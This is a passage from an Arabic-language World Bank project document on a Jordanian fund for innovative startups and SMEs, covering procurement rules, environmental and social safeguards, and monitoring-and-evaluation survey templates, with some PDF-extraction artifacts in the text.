الرقابية العامة )ديوان المحاسبة على سبيل المثال(، وقد نص الدليل المالي للمؤسسة على إجراءات الشراء، كما تم إعداد دليل عمليات يتناول عملية الشراء. ب( طرق الشراء: يوضح الجدول التالي الحد الدنى لطرق الشراء: جدول رقم 2-2 طرق الشراء عقد مباشر أقل من 100 دينار أردني 3 عروض أسعار حتى 10 أالف دينار أردني تقديم العطاءات أكثر من 10 أالف دينار أردني ت( قرارات شراء السلع والخدمات االستشارية: يتولى المجلس الرقابة على شراء السلع التي تزيد قيمتها عن 20 ألف دينار أردني والخدمات االستشارية التي تزيد قيمتها عن 5 أالف دينار أردني كما هو موضح بالجدول أدناه: جدول 2-3 صالحيات اتخاذ القرار الفئة القرار قيمة العقد المدير العام حتى ألفين دينار أردني السلع المدير العام بتوصية من لجنة المشتريات الفرعية حتى 20 ألف دينار أردني المجلس بتوصية من لجنة المشتريات الرئيسية أكثر من 20 ألف دينار أردني المجلس بتوصية من لجنة المشتريات الرئيسية أكثر من 5 أالف دينار أردني الخدمات االستشارية المدير العام حتى 5 أالف دينار أردني البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 64 ث( تغطية عمليات الشراء وتخطيطها: ال تجري الشركة األردنية عمليات شراء كبيرة، وغالباً ما ترتبط طلبات الشراء بمستلزمات المكتب وتجهيزاته. على سبيل المثال، بلغ حجم المشتريات لعام 2016 ،100 ألف دينار أردني. وتم رصد تخطيط عمليات الشراء، وتبين أنها تقوم على أساس تخطيط ربع سنوي وذلك باستخدام الموازنة المخصصة، كما تستخدم نماذج عقود معيارية. ج( الشكاوي: غالباً ما تتم إحالة الشكاوي التي تتعلق بالخدمات التي تقدمها الشركة األردنية إلى رابطة الشركات والبنك المركزي األردني، بينما لم توضع آلية للتعامل مع الشكاوي التي تتعلق بالمشتريات. ح( إعداد التقارير: تقدم الشركة األردنية لضمان القروض تقارير دورية ربع سنوية وسنوية إلى "الهيئة المنظمة لسوق رأس المال" و"تداول األوراق المالية" باألردن. ومتاح كذلك على شبكة اإلنترنت تقرير المدقق الخارجي المستقل، وتتاح التقارير على الموقع اإللكتروني للشركة األردنية com.jlgc.www://http. خ( عملية تدقيق الحسابات: تمتلك الشركة األردنية نظام تدقيق داخلي للحسابات ونظام داخلي إلدارة المخاطر، كما عينت شركة جرانت ثورنتون كمدقق خارجي. 44 .صنفت مخاطر تنفيذ عمليات الشراء اإلجمالي بأنها "متوسطة". فقد أشار تقييم الجهة المنفذة وهي الشركة األردنية لضمان القروض إلى أن نظام المشتريات المتبع في هذه المؤسسة يتبع المبادئ األساسية للمشتريات التي وضعها البنك الدولي. ولن يقوم المشروع بتطبيق إطار المشتريات الذي وضعه البنك سوى في تعيين الشركة اإلدارية أو اختيار مدير للصندوق يقوم بدوره بتعيين فريق العمل بالصندوق، ولشراء مستلزمات وتجهيزات مكتبية بسيطة لجعل الصندوق يصلح للتشغيل كوحدة تنفيذ المشروع. ومع ذلك، وبالنظر إلى أهمية هذا االختيار وكيفية تأثيره على عملية التنفيذ بأكملها، فقد ارتفع تصنيف مخاطر الشراء ليصبح "متوسط". وللحد من هذه المخاطرة، تم اقتراح إجراءات التخفيف التالية: )أ( ترتيب وسائل دعم مالئمة )فريق العمل، والتدريب، واألدوات( للتعامل مع إدارة المشتريات على األقل حتى يتم اختيار استشاري اإلدارة و)ب( ضمان إدارة العقود بشكل مالئم من جانب الجهة المنفذة و)ج( إقامة نظام يرصد تعديالت عقود الصندوق والتعجيل بتنفيذها و)د( الموافقة على طرق النشر المالئمة )أي النشر على موقع االنترنت أو في النشرات اإلعالمية( للقرارات المتعلقة بالمشتريات وغيرها مما يتعلق بالحد األدنى من المعلومات. 45 .ترتيبات مقترحة تتعلق بالمشتريات أ( لوائح المشتريات: سوف يتم تطبيق "لوائح المشتريات الخاصة بالبنك الدولي للمقترضين في إطار تمويل المشروعات تحديداً االستثمارية" والصادرة في 1 يوليو/ تموز 2016( لوائح المشتريات( في المشروع. بالنسبة إلى المشتريات المكتبية واالختيارات المتعلقة بمدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، تستخدم الشركة األردنية ا "للممارسات التجارية" بحسب ما جاء في القسم رقم 6-46 من اللوائح المشار إليها ً لضمان القروض ترتيبات االختيار طبق عادًة ما تكون أعاله. تشير الممارسات التجارية إلى استخدام ترتيبات المشتريات المعتمدة والمستخدمة في القطاع الخاص ) مؤسسات غير خاضعة لقانون المشتريات الحكومي للمقترض( لشراء السلع أو تنفيذ األعمال أو الخدمات غير االستشارية. ينفذ البنك مبادئ المشتريات األساسية التالية لكونها المعيار المستخدم لتحديد مدى قبول الممارسات التجارية، وهي: قيمة األموال واالقتصاد والنزاهة ومدى المالئمة للغرض والفعالية والشفافية والعدالة. ب( أنشطة المشروع بطبيعتها غير معقدة؛ ومن المتوقع أن تختار الشركة األردنية لضمان القروض مدير لصندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، يقوم بدوره بتعيين فريق عمل للقيام بمهامه كوحدة تنفيذ المشروع. إلى جانب ذلك، سوف يتم شراء اللوازم المكتبية، واألثاث المكتبي بحسب احتياجات الصندوق. ت( سوف تتبع طرق شراء السلع والخدمات االستشارية وغير االستشارية الممارسات التجارية المعمدة لدى الشركة األردنية لضمان القروض. ث( فريق العمل: يتم تكليف أخصائي المشتريات بالشركة األردنية لضمان القروض بتعيين مدير صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية، وشراء الخدمات المتصلة بدور الشركة األردنية بصفتها الجهة المنفذة. تتماشى مؤهالت المشتريات مع متطلبات المنصب الحالي. سيكون هناك حاجة إلى دعم فني من الشركة األردنية لمساعدة فريق المشتريات في تقييم واختيار مدير الصندوق وأفراد فريق العمل. سوف تكون الجهة المنفذة مسئولة عن إدارة عقود مدير الصندوق وفريق عمله. كذلك يحق للشركة المنفذة اختيار تفويض مدير الصندوق بإدارة العقود الخاصة بأفراد فريق عمل الصندوق. ج( دليل عمليات المشروع: سيحتاج صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة االبتكارية بمجرد إنشاءه إلى لل إعداد دليل عمليات يتضمن قسما مشتريات يتماشى مع اإلجراءات التي تراعيها الشركة، وسينص الدليل على عمليات الشراء ً البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 65 وإدارة العقود، كما سيحتوي على نماذج معتادة تستخدم في المشروع وسيتناول كذلك اشتراطات حفظ السجالت الترتيبات المتوقعة آللية تلقي الشكاوي. ح( خطط الشراء: سيكون هناك حاجة إلى خطط شراء للمشروع لكي يوضع جدوالً ألنشطة المشروع وتحديدها فيما يتعلق بإقامة الصندوق بما في ذلك تعيين مدير له. . خ( التنبؤ بتكرار البعثات اإلشرافية مرتين في السنة ومراجعات ما بعد الشراء مرة سنوياً المخاطر البيئية واالجتماعية )متضمنة الضمانات الوقائية( 46 .من المتوقع توجيه أغلب استثمارات المشروع الفرعي التي يدعمها هذا المشروع نحو مجالي الخدمات أو التكنولوجيا المرتبطة بمخاطر بيئية واجتماعية محدودة أو ليس لها مخاطر على اإلطالق. ومع ذلك، قد تكون هناك بعض االستثمارات )على سبيل المثال: الطاقة المتجددة والمستحضرات الدوائية واألعمال التجارية الزراعية( التي يمكن أن تصاحبها مخاطر بيئية لحداثة المؤسسات الصغيرة والمتوسطة وحجمها، من المتوقع أن يكون اإلنتاج المادي أو االقتصادي خالل واجتماعية. نظراً . وسوف تستبعد عملية فحص المشروع الفرعي أي مشروع فرعي قد تنطوي أنشطته فترة تنفيذ مشروع البنك الدولي محدوداً على حيازة أراضي، فقدان استخدام األراضي أو النزوح االقتصادي. لذا، ال داعي لوضع إطار لسياسة إعادة التوطين. 47 .وفقاً لقانون البيئة األردني رقم 52 لسنة 2006 ،تلنزم الشركات الخاصة بإجراء عملية فحص بيئي واجتماعي. وينبغي تصنيف الشركات المشاركة في الصندوق بحسب ما لها من آثار محتملة وتدابير التخفيف/ إعادة التأهيل المناسبة. وبالنظر إلى إنخفاض المخاطر البيئية واالجتماعية للمشروع، سوف تتم عملية الفحص باستخدام األنظمة القطرية من خالل وزارة البيئة. سوف ينص نموذج عملية الفحص المبدئية على استبعاد أي استثمار يقتضي تطبيق سياسة العمليات رقم 4-09 بشأن مكافحة اآلفات أو رقم 4-11 بشأن الموارد الحضارية المادية أو رقم 4-12 بشأن إعادة التوطين القسري. ولن ينص هذا النموذج على التطبيق المحتمل لسياسة العمليات رقم 4-04 بشأن الموائل الطبيعية أو رقم 4-10 بشأن الشعوب األصلية أو رقم 4-36 بشأن الغابات أو رقم 4-37 بشأن سالمة السدود أو رقم 7-50 بشأن المشروعات المقامة على مجاري المياه الدولية أو رقم 7-60 بشأن المشروعات المقامة في المناطق المتنازع عليها. ال تتواجد الموائل الطبيعية أو الغابات أو السدود وما شابه في النطاق الجغرافي لمواقع الصندوق المحتملة. 48 .عالو ًة على ما سبق، تتمتع الشركة األردنية لضمان القروض بمعرفة قوية بمسئوليات أعمال القطاع الخاص لالمتثال لقوانين وزارتي البيئة والعمل ذات الصلة بالمؤسسات الصغيرة والمتوسطة، وسوف تتحمل الشركة المسئولية عن ضمان إدراج أطر تتناسب مع سياسات البنك الدولي في عمليات الفحص والتمويل التي تجريها المؤسسات الصغيرة والمتوسطة التابعة للصندوق. 49 .تم وضع إطار اإلدارة البيئية واالجتماعية لضمان استيفاء أنشطة المشروع لمتطلبات السياسات واللوائح واألنظمة الوطنية ذات الصلة، إلى جانب سياسات وعمليات مجموعة البنك الدولي. يقدم إطار اإلدارة البيئية واالجتماعية أداة معالجة عملية لمختلف المراحل، بما في ذلك متابعة الجوانب البيئية واالجتماعية. وسوف يقوم الصندوق بتعيين استشاري بيئي متخصص يقدم تقارير إلى مدير الصندوق حول ما يلي: أ- إجراء عمليات تدقيق ما بعد المراجعة للمشروعات الفرعية وتقديم خطط اإلدارة البيئية واالجتماعية لضمان الجودة. ب- تصميم وتنفيذ التدريب الالزم ت- إعداد تقارير سنوية حول متابعة الضمانات الوقائية وتقديمها في الوقت المناسب. 50 .سوف يخصص الصندوق قسماً عن االمتثال للضمانات الوقائية في كل تقرير مرحلي ُيقدم إلى مجلس اإلدارة والشركة األردنية لضمان القروض التي ترسل بدرها هذه التقارير إلى البنك الدولي. ويتضمن الملحق رقم 5 من إطار اإلدارة البيئية واالجتماعية نموذج إلطار متابعة الضمانات الوقائية. 51 .نظراً ألنه من غير المتوقع أن تبدأ معظم، أو ربما جميع، المؤسسات الصغيرة والمتوسطة الحاصلة على التمويل عملياتها البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 66 المادية/ االقتصادية قبل انتهاء مشروع صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة اإلبتكارية، فإن عملية المتابعة سوف تتألف من فحص مرحلة التصميم وتوثيق إطار اإلدارة البيئية واالجتماعية والحصول على اعتماد وزارة البيئة واإلفصاح عن وثيقة هذا اإلطار. 52 .سوف يقوم استشاري الضمانات البيئية لذي يعينه الصندوق برصد مؤشرات األداء واإلبالغ بها بغرض متابعة االمتثال إلطار اإلدارة البيئية واالجتماعية:  يراجع األخصائي البيئي نماذج فحص المشروعات الفرعية كنسبة مئوية من إجمالي المشروعات الفرعية التي تمت الموافقة على حصولها على تمويل من الصندوق.  نماذج فحص المشروعات الفرعية التي وافق عليها األخصائي البيئي كنسبة مئوية من إجمالي المشروعات الفرعية التي تمت الموافقة على حصولها على تمويل من الصندوق.  المشروعات الفرعية المرفقة بخطط اإلدارة البيئية واالجتماعية كنسبة مئوية من إجمالي المشروعات الفرعية المصنفة ضمن الفئة ب/2 .  المشروعات الفرعية المرفقة باعتمادات وزارة البيئة كنسبة مئوية من إجمالي المشروعات الفرعية المصنفة ضمن الفئة ب/2 .  باإلضافة إلى ما سبق، سوف يتولى استشاري يعمل بدوام جزئي يعمل في مقر الشركة األردنية لضمان القروض المسئولية عن المتابعة الكاملة للمشروع ورصد أنشطته، بما في ذلك التواصل مع مجلس اإلدارة لحل الشكاوى. سوف تشمل عملية توثيق الشكاوى ما يلي:  عدد الشكاوى المسجلة وتصنيفها وأنواعها.  نسبة الشكاوى التي يتم حلها في الوقت المناسب. المتابعة والتقييم 53 .تقع مسئولية تتبع النتائج في المقام األول على عاتق الوسطاء الماليين ومقدمي الدعم للنظام البيئي الشامل الذين ينفذون للصندوق بالشركة. ويتولى الصندوق أيضاً أنشطة المشروع؛ وسوف يقدمون تقرير المتابعة و تسليم تقرير التقييم مرتين سنوياً . وسوف تستند نتائج المراقبة إلى المعلومات الكمية والكيفية المقدمة من تقييم ومتابعة موحد إلى البنك الدولي مرتين سنوياً المستثمرين في المشروع والجهات المستفيدة من المشروع ومن المستثمرين ومن مديري الصندوق. وسوف يتلقى مديري الصندوق والشركات التمويل من اعتمادات المشروع، وستشترط عقود المستفيدين من أنشطة دعم النظام البيئي الشامل تقديم . المعلومات الالزمة مرتين سنوياً 54 .باإلضافة إلطار النتائج، سوف يتولى مديرو الصندوق المتابعة واإلبالغ حول المؤشرات الخاصة بالبيانات التعريفية للجهات المستفيدة وأداء تلك الجهات، بحيث يمكن قياس أي قيمة مضافة إلى المشروع وغير واردة في إطار النتائج، مثل المؤشرات وظائف )وفقا ادرات. وتقدم الجهات المستفيدة هذه المعلومات مرتين ً الخاصة بخلق الجهات المستفيدة لل للنوع والعمر( والص خالل فترة المشروع بموجب العقد الموقع بينها وبين مدير الصندوق. 55 .سوف يتبع إطار المتابعة والتقييم أفضل الممارسات الدولية. بوجه عام، سوف يتبع إطار المتابعة والتقييم بالمشروع توجيهات التقييم الموضحة في حاالت التدخل الدولي المماثلة، مثل التوجيهات المتبعة في سكوتلندا أو الدنمارك، وفي مشروعات البنك الدولي المشابهة لهذا المشروع في لبنان والمغرب. ويقوم هذا اإلطار على ثالثة مستويات: أ- مؤشرات النتائج وإطار المتابعة )انظر القسم السابع أعاله(: يعتمد إطار النتائج على المؤشرات الرئيسية والنتائج الوسيطة من كل مكون، ويشتمل على مؤشرات معنية باالستفادة من استثمارات القطاع الخاص في مرحلة التأسيس والمراحل المبكرة وفي استثمارات رأس المال المخاطر ، وأثر المشروع على الشركات والمؤسسات الناشئة في المراحل المبكرة من حيث تسهيل حصولها على التمويل وزيادة نموها، باإلضافة إلى مؤشرات تتعلق باألنشطة الرامية إلى تطوير النظام البيئي الشامل. ب- دراسة استقصائية تقييمية الستراتيجية االستثمار وأداء الشركات المستثمرة، وفق ما ورد في المكون األول )الجداول من 4-2 إلى 2-6 ومربع النص رقم 2-1 أدناه(. سوف يستند تقييم استراتيجية االستثمار وأداء الشركات إلى المعلومات المقدمة من الشركات المستفيدة )كالعائدات ومجال العمليات والعمالة والصادرات(. البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 67 انظر االستبيان أبناه لمزيد من المعلومات. سوف يرصد المشروع بغرض جمع المعلومات وتطبيق إطار المتابعة والتقييم عدد النازحين المقيمين في البالد بشكل قانوني )مثل الالجئين السوريين الذين يحملون تصاريح عمل( وينتفعون من المشروع، إما لكونهم رواد أعمال أو جزء من العمالة التي تشغل وظائف المشروع. جدول 2-4 .بيانات تعريفية للجهات المستفيدة )مثال للنموذج( اسم المؤسسة الصغيرة أو المتوسطة/ الشركة الناشئة اسم المالك )المالك( نوع المالك )المالك( الجنسية/ وضع اإلقامة القطاع الذي تمارس فيه الشركة نشاطها المنطقة الجغرافية لتنفيذ العمليات ما قيمة التمويل الذي طلبته الشركة؟ ما قيمة التمويل المختلط الذي حصلت عليه الشركة؟ هل تقدمت الشركة بطلب للحصول على قرض في إطار البرنامج؟ هل حصلت الشركة على القرض؟ إذا لم تحصل عليه، يرجى توضيح السبب هل حصلت الشركة على أي نوع أخر من التمويل؟ إذا كانت اإلجابة بنعم، يرجى تحديد نوع التمويل )دين، ضمان ائتماني، منحة، أسهم(، وهل كان ذلك بعد أم قبل الحصول على رأس المال من هذا الصندوق، كما يرجى تحديد مصدر التمويل )البنك، األسرة، منظمة غير حكومية، إحدى شبكات رعاة األعمال، برنامج عام أخر، وهكذا(. هل تقوم المؤسسة الصغيرة أو المتوسطة بإعداد وتقديم القوائم المالية السنوية؟ هل تقدمت الشركة بطلب الحصول على براءة اختراع منذ تأسيسها؟ جدول 2-5 .أداء الجهات المستفيدة )مثال للنموذج( مصدر التكرار القيم التراكمية أداء الجهة المستفيدة وحدة القياس خط األساس سنة 1 سنة 2 سنة 3 سنة 4 سنة 5 البيانات اإليرادات دوالر أمريكي الهامش التشغيلي % سنوي مسح الصادرات )إن وجدت( دوالر أمريكي سنوي مسح عدد الموظفين الذين يعملون بدوام عدد سنوي مسح كامل والذين يعملون بدوام جزئي نسبة النساء بين الموظفين % سنوي مسح نسبة الشباب بين الموظفين )السن أقل من 35 سنة( % سنوي مسح نسبة النازحين السوريين الحاصلين % سنوي مسح على تصاريح عمل قانونية إجمالي االستثمارات الخاصة في المؤسسات الصغيرة والمتوسطة المستفيدة ألف دوالر أمريكي سنوي مسح جدول 2-6 .الممارسات اإلبتكارية لدى الجهات المستفيدة )مثال للنموذج( هل أنت حاصل حاليا التوضيح( ً على أي اعتمادات أو تصديقات دولية بخصوص الجودة؟ )يرجى هل لديك أي خطط للحصول على اعتماد/ تصديق خالل السنوات الثالثة القادمة؟ )إذا كانت اإلجابة بنعم، يرجى وصف طبيعة التصديق والوقت المقرر للحصول عليه(. هل لديك موقع إلكتروني محدث أو موقع للتواصل االجتماعي؟ هل تستخدم وسائل االتصال عبر اإلنترنت ألغراض ممارسة نشاطك التجاري؟ إذا كانت اإلجابة بنعم، يرجى البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 68 توضيح كيفية ذلك. هل تقدم دورات تدريبية لفريق العمل المهني/ الفني؟ إذا كانت اإلجابة بنعم، يرجى ذكر أنواع هذه الدورات ومعدالت تكرارها هل لديك إمكانية للوصول إلى األبحاث الدولية وأفضل الممارسات في القطاع / المجال الذي تمارس فيه نشاطك؟ إذا كانت اإلجابة بنعم، فكيف ذلك؟ مربع النص 2-1 .مسح للجهات المستفيدة وغير المستفيدة المحتملة التي تم تحديدها )مثال للنموذج(. معلومات أساسية أ- اسم الجهة المستفيدة/ غير المستفيدة ب- الجنسية/ وضع اإلقامة ت- تاريخ التأسيس ث- القطاع ج- مرحلة النمو ح- خصائص الشركات الموضوع األول. فعالية عملية تقديم العروض أ- ؟ ً يسيرا ً هل يعتبر تقديم عرض للحصول على التمويل إجراءا ب- هل قدر المعلومات المطلوب معقوال؟ استغرقت عملية ملء المستندات واألوراق؟ ت- كم يوماً الموضوع الثاني. شفافية عملية االختيار أ- هل ترى أن عملية االختيار تتسم بالشفافية والدقة والنزاهة؟ ب- إذا كان عرضك قد رفض، فما هي أسباب رفض التمويل؟ )i )االستثمار مليء بالمخاطر )ii )المستثمر ال يتعامل مع القطاع موضوع العرض )iii )الشركة غير جاهزة لالستثمار )iv )المستثمر ال يتعامل مع نطاق االستثمار موضوع العرض )v )معدل العائد المتوقع منخفض للغاية )vi )ال يمتلك المستثمر القدرة على تقييم الصفقة ت- هل الفترة الزمنية المستغرقة بين تقديم العرض واختياره مقبوال؟ ولماذا؟ الموضوع الثالث. فعالية الدعم أ- الدعم المالي )i )ما هو المبلغ المالي الذي حصلت عليه من الصندوق؟ )يرجى توضيح المبلغ الممنوح في كل دورة( )ii )لتنفيذ األنشطة التي ترغب في تمويلها؟ ولماذا؟ هل الدعم المالي المقدم كافياً ب- الدعم غير المالي )i )هل حصلت على دعم غير مالي )على سبيل المثال: خدمات استشارية(؟ )ii )ما هو نوع هذا الدعم؟ )iii )؟ هل نوع الدعم غير المالي المقدم مجدياً  ما الدرس الذي استفدته؟  ما هي اإلمكانات التي نمت لديك بعد االستثمار؟ الموضوع الرابع. فعالية اإلنفاق )للجهات المستفيدة فقط( أ- هل عملية طلب التمويل سهلة؟ )نعم/ال( ب- هل قدر المعلومات المطلوب معقوال؟ استغرقت عملية ملء النماذج واالستمارات؟ ت- كم يوماً ث- هل الفترة الزمنية المستغرقة بين تقديم الطلب وصرف األموال معقولة؟ ج- هل اضطررت لوقف النشاط نتيجة لتأخر التمويل؟ الموضوع الخامس: فعالية تقديم التقارير ذات الصلة بالمشروع )للجهات المستفيدة فقط( أ- هل ترى أن عملية تقديم التقارير ذات الصلة بالمشروع مناسبة؟ )نعم/ال، مع التوضيح( )i )كمية المعلومات البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 69 )ii )جودة المعلومات ونوعيتها )iii )التواتر والتكرار الموضوع السادس. دالئل الدعم والمساعدة أ( ما مدى احتمال زيادة رأس المال في ظل غياب الدعم؟ )i( ً جيدة جدا )ii )جيدة )iii )سيئة )iv )ال أعرف ب( الجهات المستفيدة: ما هي العواقب التي ربما تعرضت لها ما لم تحصل على المساعدة المالية؟ يمكنك اختيار أكثر من إجابة مما يلي. )i )كنت سأمضي في تنفيذ النشاط التجاري تماماً وكأنني حصلت على المساعدة المالية. )ii )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، تعيين عدد قليل من العمال. )iii )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، صرف استثمارات أقل على اآلالت والمعدات والتكنولوجيا. )iv )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، تقليل أنشطة البحث والتطوير واالبتكار. )v )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، عدم دخول أسواق جديدة. )vi )كنت سأمضي في تنفيذ النشاط التجاري، ولكن سأستغرق فترة أطول قبل الوصول إلى السوق. )vii )لم أكن ألمضي في تنفيذ النشاط التجاري. ت( الجهات المستفيدة: ما هي العواقب التي ربما تعرضت لها ما لم تحصل على المساعدة المالية؟ يمكنك اختيار أكثر من إجابة مما يلي. )i )كنت سأمضي في تنفيذ النشاط التجاري تماماً وكأنني حصلت على المساعدة المالية. )ii )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، تعيين عدد قليل من العمال. )iii )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، صرف استثمارات أقل على اآلالت والمعدات والتكنولوجيا. )iv )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، تقليل أنشطة البحث والتطوير واالبتكار. )v )كنت سأمضي في تنفيذ النشاط التجاري مع تقليل نطاق العمل، على سبيل المثال، عدم دخول أسواق جديدة. )vi )كنت سأمضي في تنفيذ النشاط التجاري، ولكن سأستغرق فترة أطول قبل الوصول إلى السوق. )vii )لم أكن ألمضي في تنفيذ النشاط التجاري. الموضوع السابع: التأثيرات المهمة: الوصول إلى مصادر التمويل الخارجية هل ترى أن البرنامج قد عمل على تسهيل الوصول إلى تمويل رأس المال او تمويل الدين من مستثمرين أخرين من القطاع الخاص في دورات متالحقة؟ ت- سوف يركز المستوى الثالث من التقييم على إدارة صناديق تمويل مرحلة التأسيس والمرحلة المبكرة ومرحلة رأس المال المخاطر )مربع النص رقم 2-2 و2-3 .)سوف يتم إعداد تقريرين لعملية تقييم البرنامج بأكمله، يقدم أول تقرير في نهاية السنوات الثالثة األولى، والثاني بعد نهاية المشروع )أي بعد ست سنوات(. لفعالية وكفاءة إدارة البرنامج سوف يمول المشروع إعداد هذين التقريرين. سوف يشمل التقريران تقيماً لغرض المشروع. سوف نتناول الحقاً وتصميمه. من المتوقع أن يكون استخدام أدوات المسح اختياراً مالئماً بعض األسئلة التي يتضمنها االستبيان وصيغته، بعد أن يتم تحديدها بمعرفة أحد خبراء التقييم. على سبيل المثال، تحتوي مربعات النص التالية على بعض من األسئلة المعتاد استخدامها في إجراء تقييم برامج تمويل االبتكارات. مربع 2-2 :دراسة استقصائية عن المستثمر )مثال للنموذج( معلومات أساسية أ- االسم ب- الجنسية ت- دولة اإلقامة الموضوع األول. المشاركة في الصندوق أ- ما هي األسباب األساسية التي شجعتك على االستثمار في الصندوق؟ )i )تقاسم المخاطر )ii )زيادة حجم االستثمار البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 70 )iii )زيادة العائدات المتوقعة الموضوع الثاني. إدارة الصندوق أ- ما رأيك في طريقة إدارة الصندوق بأكملها؟ )حدد إجابتك برقم من 1 إلى 5 ،على اعتبار أن 1 تعني أدنى أداء و5 تعني أفضل أداء( )i )الشفافية )ii )الفعالية )iii )الكفاءة )iv )التنسيق بين المستثمرين )v )التواصل بين المستثمرين الموضوع الثالث. محفظة االستثمارات أ- هل توافق على طريقة إدارة محافظة االستثمارات؟ )حدد إجابتك برقم من 1 إلى 5 ،على اعتبار أن 1 تعني "ال أوافق" و5)" "أوافق تماماً )i )الحجم )ii )المخاطر )iii )العائد )iv )التنوع )v )القطاعات )vi )مرحلة نمو الجهة المستثمر فيها ب- هل كنت لتغير شيئاً ما في استراتيجة االستثمار؟ )يرجى التحديد( الموضوع الرابع. معدل العائد الداخلي واستراتيجية التخارج )بعد سنتين من بدء النشاط( أ- هل أنت راضي عن متوسط معدل العائد الداخلي؟ ب- ما رأيك في استراتيجية التخارج؟ (i (توقيت التخارج )ii )نمط التخارج الموضوع الخامس. دالئل الدعم والمساعدة أ- ما هي العواقب التي ربما تعرضت لها ما لم ينشأ القطاع العام مرفق التمويل الجديد؟ )i )لكنت مضيت في االستثمار بنفس الطريقة وكأن القطاع العام هو شريكي في االستثمار. )ii )لكنت مضيت في االستثمار مع تقليل نطاق العمل. )iii )لكنت مضيت في االستثمار مع تقليل المخاطر المحتملة. )iv )لكنت مضيت في االستثمار ولكن مع البحث عن معدالت عائد أعلى. )v )لما كنت مضيت في االستثمار. مربع 2-3 :دراسة استقصائية عن مدير البرنامج )مثال للنموذج( معلومات أ-ساسية أ- االسم الموضوع األول. تحديد الفرص االستثمارية أ- هل يبحث الصندوق أو يحدد فرص استثمارية؟ ب- هل هناك مسار جيد؟ لماذا؟ الموضوع الثاني. عملية اختيار الجهة المستفيدة أ- ما هي المعايير التي يأخذها الصندوق في االعتبار للقيام باالستثمار؟  المخاطر  العائدات المتوقعة  فريق اإلدارة  غير ذلك )يرجى التحديد( أ- كم تستغرق عملية العناية الواجبة باالستثمار؟ ب- ما المدة المستغرقة بين تقدم المستفيد بطلب الحصول على التمويل وبين حصوله عليه؟ الموضوع الثالث. الدعم المالي أ- كم عدد الصفقات التي أجراها الصندوق في السنة وفي كل مرحلة )على سبيل المثال، مرحلة اإلنشاء أو المرحلة المبكرة أو مرحلة رأس المال البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 71 المخاطر (؟ ب- ما هو متوسط حجم كل صفقة في كل مرحلة؟ ت- هل كان أداء الصندوق في التعامل مع الصفقات ومتوسط حجمها يتوافق مع )أ( األداء المتوقع في البداية و)ب( والصناديق الخاصة المشابهة؟ )نعم/ ال، لماذا؟( الموضوع الرابع: مدة االستثمارات )بعد مرور سنتين على بدء النشاط( أ- ما هو متوسط المدة التي استغرقها الصندوق لالستثمار في كل شركة وفي كل مرحلة؟ ب- هل هذه الفترة طويلة بما يكفي للحصول على اإليرادات المتوقعة؟ ت- ما هو متوسط معدل العائد الداخلي في كل مرحلة؟ ث- ما هو نوع استراتيجية التخارج التي يفضلها الصندوق في أغلب الحاالت؟ ولماذا؟ البنك الدولي مشروع صندوق الشركات الناشئة اإلبتكارية )P161905) 72 ملحق رقم 3 :خطة دعم التنفيذ الدولة: المملكة الهاشمية األردنية مشروع صندوق تمويل الشركات الناشئة اإلبتكارية استراتيجية ونهج دعم التنفيذ 1 .سوف يرسل البنك الدولي بعثتين رئيسيتين لدعم المشروع سنوياً، باإلضافة إلى البعثة المعنية بمراجعة منتصف المدة، وترسل بعد 3 سنوات من تشغيل المشروع. أما إذا وقعت مشكالت في التنفيذ قبل مرور 3 سنوات واقتضى حلها إجراء تحليل عميق ترسل على هذا األساس. وإعادة هيكلة للمشروع، فإن بعثة مراجعة منتصف المدة ُ تجرى البعثات المعنية بمشتريات المشروع واإلدارة المالية باعتبارها جزءاً من الدعم االئتماني الدوري الذي يقدم على 2 .وسوف ُ نحو متزامن لكافة عمليات مشروعات البنك الدولي في األردن. ويستثنى من مبدأ اإلشراف المستقل لخبراء االئتمان كل من: بعثة مراجعة نصف الفترة وبعثات دعم التنفيذ وتقرير إكمال التنفيذ؛ حيث يشارك فيهم، على األرجح، فريق مشروعات البنك الدولي بأكمله. اإلشراف على الضمانات الوقائية 3 .من المتوقع أن يحافظ صندوق الشركات الناشئة والمؤسسات الصغيرة والمتوسطة على إمكانية الحصول على الخدمات لمقتضى الحاجة. ويعني ذلك أن الصندوق سيستفيد من االستشارية لألخصائيين البيئيين وفقا خدمات عدة أخصائيين بيئيين عند ً لنسبة تطبيقات المشروعات الفرعية التي تقتضي وضع خطط لإلدارة االجتماعية الحاجة، وقد يتغير معدل االستعانة بهم وفقاً والحفاظ على البيئة. 4 .خالل عملية األشراف، سوف يتم جمع عينة عشوائية من نماذج فحص المشروعات الفرعية التي اعتمدت للحصول على كي تُ التمويل وتم تصنيفها ضمن الفئة ب/2 ل راجع للتحقق من ضمان الجودة. وقد تسند أنشطة بناء القدرات التالية إلى موظفي الصندوق ومن يبدي اهتمامه من شركاء الصندوق الحاليين أو المحتملين، بحيث تغطي األنشطة ما يلي: )أ( استعراض عملية فحص المشروعات الفرعية وتصنيفها، بما في ذلك "قائمة العمالء المستبعدين؛ )ب( استعراض هيكل الصندوق وإطار اإلدارة البيئية واالجتماعية، بما في ذلم قائمة المشروعات الفرعية المحتملة؛ )ج( التدريب على اإلعداد إلطار اإلدارة البيئية واالجتماعية للمشروعات 